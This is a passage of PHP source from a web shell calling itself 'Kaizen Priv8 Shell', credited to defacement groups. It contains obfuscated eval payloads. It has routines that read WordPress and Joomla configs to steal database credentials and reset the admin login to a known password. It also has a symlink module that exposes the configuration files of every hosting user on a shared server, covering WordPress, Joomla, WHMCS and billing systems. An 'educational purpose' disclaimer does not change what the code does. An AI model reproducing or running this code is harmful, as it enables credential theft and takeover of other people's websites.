5641 eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
5642 } elseif($_GET['do'] == 'loghunter')
5643 {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
5644elseif($_GET['do'] == 'metu') {
5645
5646
5647echo '<form action="?dir=$dir&do=metu" method="post">';
5648 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
5649 echo 'Good Bye :) See You ~';
5650
5651}
5652elseif($_GET['do'] == 'about') {
5653
5654 echo '<center>Kaizen Priv8 Shell<br>Coded By V!rus Worm | AnonGhost Team | Mauritania Attacker | IndoXploit | Kaizen | Cyberizm.Org | Pinoy Lulsec<br>
5655Kaizen Priv8 Shell 2017 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.<br>
5656At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.<br>
5657The term has now changed known as a Defacer nowadays.<br>
5658Tools does not Made Hackers , Hackers make Tools.<br>
5659Do not Learn To Hack , Hack to Learn.wkkwk..<br>
5660"Keep Calm and enjoy Hacking \!/"<br>
5661Thanks For Using my shell :)<br>Special thankz to : AnonGhost Team<hr>Thanks to : AnonGhost Team | Mauritania Attacker | IndoXploit Coders Team | Cyberizm.Org | Lulzsec<br>';
5662
5663}
5664elseif($_GET['do'] == 'auto_cu_wp') {
5665if($_POST['gass']) {
5666 echo "<center><h1>WordPress Auto Change User 2</h1>
5667 <form method='post'>
5668 Link Config: <br>
5669 <textarea name='link' style='width: 450px; height:250px;'>";
5670 UrlLoop($_POST['linkconf'],'wordpress');
5671 echo"</textarea><br>
5672 <input type='submit' style='width: 450px;' name='auto_cu_wp' value='Start'>
5673 </form></center>";
5674} else {
5675 echo "<center><h1>WordPress Auto Change User 2</h1>
5676 <form method='post'>
5677 Link Config: <br>
5678 <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
5679 <input type='submit' style='width: 450px;' name='gass' value='Start'>
5680 </form></center>";
5681 }
5682if($_POST['auto_cu_wp']) {
5683
5684 function anucurl($sites) {
5685 $ch = curl_init($sites);
5686 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5687 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5688 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
5689 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
5690 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
5691 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
5692 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
5693 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
5694 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
5695 $data = curl_exec($ch);
5696 curl_close($ch);
5697 return $data;
5698 }
5699 $link = explode("\r\n", $_POST['link']);
5700 $user = "Kaizen";
5701 $pass = "Kaizen";
5702 $passx = md5($pass);
5703 foreach($link as $dir_config) {
5704 $config = anucurl($dir_config);
5705 $dbhost = ambilkata($config,"DB_HOST', '","'");
5706 $dbuser = ambilkata($config,"DB_USER', '","'");
5707 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
5708 $dbname = ambilkata($config,"DB_NAME', '","'");
5709 $dbprefix = ambilkata($config,"table_prefix = '","'");
5710 $prefix = $dbprefix."users";
5711 $option = $dbprefix."options";
5712 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
5713 $db = mysql_select_db($dbname);
5714 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
5715 $result = mysql_fetch_array($q);
5716 $id = $result[ID];
5717 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
5718 $result2 = mysql_fetch_array($q2);
5719 $target = $result2[option_value];
5720 if($target == '') {
5721 echo "[-] <font color=red>error, not put domain name</font><br>";
5722 } else {
5723 echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
5724 }
5725 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
5726 if(!$conn OR !$db OR !$update) {
5727 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
5728 mysql_close($conn);
5729 } else {
5730 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
5731 echo "[+] username: <font color=lime>$user</font><br>";
5732 echo "[+] password: <font color=lime>$pass</font><br><br>";
5733
5734 mysql_close($conn);
5735 }
5736 }
5737 }
5738
5739}
5740elseif($_GET['do'] == 'auto_cu_joomla') {
5741if($_POST['gass']) {
5742 echo "<center><h1>Joomla Auto Change User 2</h1>
5743 <form method='post'>
5744 Link Config: <br>
5745 <textarea name='link' style='width: 450px; height:250px;'>";
5746 UrlLoop($_POST['linkconf'],'joomla');
5747 echo"</textarea><br>
5748 <input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Start'>
5749 </form></center>";
5750} else {
5751 echo "<center><h1>Joomla Auto Change User 2</h1>
5752 <form method='post'>
5753 Link Config: <br>
5754 <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
5755 <input type='submit' style='width: 450px;' name='gass' value='Start'>
5756 </form></center>";
5757 }
5758if($_POST['auto_cu_joomla']) {
5759
5760 function anucurl($sites) {
5761 $ch = curl_init($sites);
5762 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
5763 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5764 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
5765 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
5766 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
5767 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
5768 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
5769 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
5770 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
5771 $data = curl_exec($ch);
5772 curl_close($ch);
5773 return $data;
5774 }
5775 $link = explode("\r\n", $_POST['link']);
5776 $user = "Kaizen";
5777 $pass = "Kaizen";
5778 $passx = md5($pass);
5779 foreach($link as $dir_config) {
5780 $config = anucurl($dir_config);
5781 $dbhost = ambilkata($config,"host = '","'");
5782 $dbuser = ambilkata($config,"user = '","'");
5783 $dbpass = ambilkata($config,"password = '","'");
5784 $dbname = ambilkata($config,"db = '","'");
5785 $dbprefix = ambilkata($config,"dbprefix = '","'");
5786 $prefix = $dbprefix."users";
5787 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
5788 $db = mysql_select_db($dbname);
5789 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
5790 $result = mysql_fetch_array($q);
5791 $id = $result['id'];
5792 $site = ambilkata($config,"sitename = '","'");
5793 $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
5794 echo "Config => ".$dir_config."<br>";
5795 echo "CMS => Joomla<br>";
5796 if($site == '') {
5797 echo "Sitename => <font color=red>error, not put domain name</font><br>";
5798 } else {
5799 echo "Sitename => $site<br>";
5800 }
5801 if(!$update OR !$conn OR !$db) {
5802 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
5803 } else {
5804 echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
5805 }
5806 mysql_close($conn);
5807 }
5808 }
5809}
5810elseif($_GET['do'] == 'symconfig') {
5811if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
5812echo '<script>alert("Skid this won\'t work on Windows")</script>';
5813exit;
5814}
5815else
5816{
5817if($_POST["m"] && !$_POST["passwd"]==""){
5818@mkdir("Symconf", 0777);
5819@chdir("Symconf");
5820@symlink("/","root");
5821$htaccess="Options Indexes FollowSymLinks
5822DirectoryIndex Kaizen.htm
5823AddType text/plain .php
5824AddHandler text/plain .php
5825Satisfy Any";
5826@file_put_contents(".htaccess",$htaccess);
5827$etc_passwd=$_POST["passwd"];
5828$etc_passwd=explode("\n",$etc_passwd);
5829foreach($etc_passwd as $passwd){
5830$pawd=explode(":",$passwd);
5831$user =$pawd[0];
5832
5833@symlink('/','Symconf/root');
5834@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
5835@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
5836@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
5837@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
5838@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
5839@symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
5840@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
5841@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
5842@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
5843@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
5844@symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
5845@symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
5846@symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
5847@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
5848@symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
5849@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
5850@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
5851@symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
5852@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
5853@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
5854@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
5855@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
5856@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
5857@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
5858@symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
5859@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
5860@symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
5861@symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
5862@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
5863@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
5864@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
5865@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
5866@symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
5867@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
5868@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
5869@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
5870@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
5871@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
5872@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
5873@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
5874@symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
5875@symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
5876@symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
5877@symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
5878@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
5879@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
5880@symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
5881@symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
5882@symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
5883@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
5884@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
5885@symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
5886@symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
5887@symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
5888@symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
5889@symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
5890@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
5891@symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
5892@symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
5893@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
5894@symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
5895@symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
5896@symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
5897@symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
5898@symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
5899@symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
5900@symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
5901@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
5902@symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
5903@symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
5904@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
5905@symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
5906@symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
5907@symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
5908@symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
5909@symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
5910@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
5911@symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
5912@symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
5913@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
5914@symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
5915@symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
5916@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
5917@symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
5918@symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
5919@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
5920@symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
5921@symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
5922@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
5923@symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
5924@symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
5925@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
5926@symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
5927@symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
5928@symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
5929@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
5930@symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
5931@symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
5932@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
5933@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
5934@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
5935@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
5936@symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
5937@symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
5938@symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
5939@symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
5940@symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
5941@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
5942@symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
5943@symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
5944@symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
5945@symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
5946@symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
5947@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
5948@symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
5949@symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
5950@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
5951@symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
5952@symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
5953@symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
5954@symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
5955@symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
5956@symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
5957@symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
5958@symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
5959@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
5960@symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
5961@symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
5962@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
5963@symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
5964@symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
5965@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
5966@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
5967@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
5968@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
5969@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
5970@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
5971@symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
5972@symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
5973@symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
5974@symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
5975@symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
5976@symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
5977@symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
5978@symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
5979@symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
5980@symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
5981@symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
5982@symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
5983@symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
5984@symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
5985@symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
5986@symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
5987@symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
5988@symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
5989@symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
5990@symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
5991@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
5992@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
5993@symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
5994@symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
5995@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
5996@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
5997@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
5998@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
5999@symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
6000@symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
6001@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
6002@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
6003@symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
6004@symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
6005@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
6006@symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
6007@symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
6008@symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
6009@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
6010@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
6011@symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
6012@symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
6013@symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
6014
6015//Home1
6016
6017@symlink('/home1/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
6018@symlink('/home1/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
6019@symlink('/home1/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
